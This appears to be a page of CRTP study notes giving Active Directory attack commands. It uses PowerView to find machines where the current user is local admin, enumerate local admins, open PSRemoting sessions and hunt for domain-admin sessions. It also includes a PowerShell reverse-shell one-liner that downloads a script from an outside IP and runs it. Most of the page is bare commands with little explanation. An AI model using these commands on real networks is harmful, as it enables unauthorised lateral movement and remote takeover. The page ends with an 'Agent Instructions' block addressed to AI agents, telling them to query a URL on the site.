# Miscellaneous Enumeration

### **Powerview Find all machines on the current domain where the current user has local admin access**

```
Find-LocalAdminAccess -Verbose
```

```
. ./Find-WMILocalAdminAccess.ps1
Find-WMILocalAdminAccess
```

```
. ./Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess
```

### **Powerview Find local admins on all machines of the domain (needs admin privs)**

```
Invoke-EnumerateLocalAdmin -Verbose
```

### **Connect to machine with administrator privs**

```
Enter-PSSession -Computername <computername>
```

### **Save and use sessions of a machine**

```
$sess = New-PSSession -Computername <computername>
Enter-PSSession $sess
```

### **Find active sessions**

```
Invoke-UserHunter
Invoke-UserHunter -Groupname "RDPUsers"
```

### **Find active sessions of domain admins**

```
Invoke-UserHunter -Groupname "Domain Admins"
```

### **Check access to machine**

```
Invoke-UserHunter -CheckAccess
```

### **Powershell reverse shell**

{% code overflow="wrap" %}

```
Powershell.exe iex (iwr http://xx.xx.xx.xx/Invoke-PowerShellTcp.ps1 -UseBasicParsing);reverse -Reverse -IP
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://crtp-certification.certs-study.com/domain-enumeration/miscellaneous-enumeration.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
